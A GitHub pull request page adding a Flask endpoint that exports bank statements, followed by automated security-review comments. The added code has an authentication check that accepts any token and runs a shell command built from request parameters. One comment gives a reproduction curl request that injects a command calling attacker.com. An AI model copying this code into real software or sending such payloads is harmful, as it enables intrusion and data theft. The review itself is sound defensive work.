-
Notifications
You must be signed in to change notification settings - Fork 0
Add statement export endpoint #3
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: main
Are you sure you want to change the base?
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,24 @@ | ||
| import subprocess | ||
| from flask import request, jsonify | ||
| from functools import wraps | ||
|
|
||
|
|
||
| def token_required(f): | ||
| @wraps(f) | ||
| def decorated(*args, **kwargs): | ||
| token = request.headers.get("Authorization", "").replace("Bearer ", "") | ||
| if not token: | ||
| return jsonify({"error": "Token missing"}), 401 | ||
| return f({"user_id": 1}, *args, **kwargs) | ||
| return decorated | ||
|
|
||
|
|
||
| def register_routes(app): | ||
| @app.route("/api/statement/<account_id>", methods=["GET"]) | ||
| @token_required | ||
| def export_statement(current_user, account_id): | ||
| fmt = request.args.get("fmt", "pdf") | ||
| output_path = f"/tmp/{account_id}.{fmt}" | ||
| cmd = f"pdfgen --template statements/{account_id}.json -t {fmt} -o {output_path}" | ||
| subprocess.run(cmd, shell=True, check=False) | ||
| return jsonify({"path": output_path}) | ||
|
Comment on lines
+19
to
+24
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
The Steps to Reproducecurl -H "Authorization: Bearer bypass" "http://target-app:5000/api/statement/123?fmt=%3B+curl+http%3A%2F%2Fattacker.com%2F%3B"Fix with AITriage: Reply |
||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The
token_requireddecorator instatement.pyonly checks for the presence of anAuthorizationheader, but it does not perform any validation of the token itself. Any request with a non-emptyAuthorizationheader is granted access asuser_id: 1. This allows any unauthenticated user to bypass authentication and act as a valid user.Steps to Reproduce
Fix with AI
Triage: Reply
!fp <reason>(false positive),!valid(confirmed), or!accepted_risk <reason>. Any other reply is saved as a triage note.Reason is optional but improves future scans — e.g.
!fp internal endpoint, not user-facing.View finding in Hacktron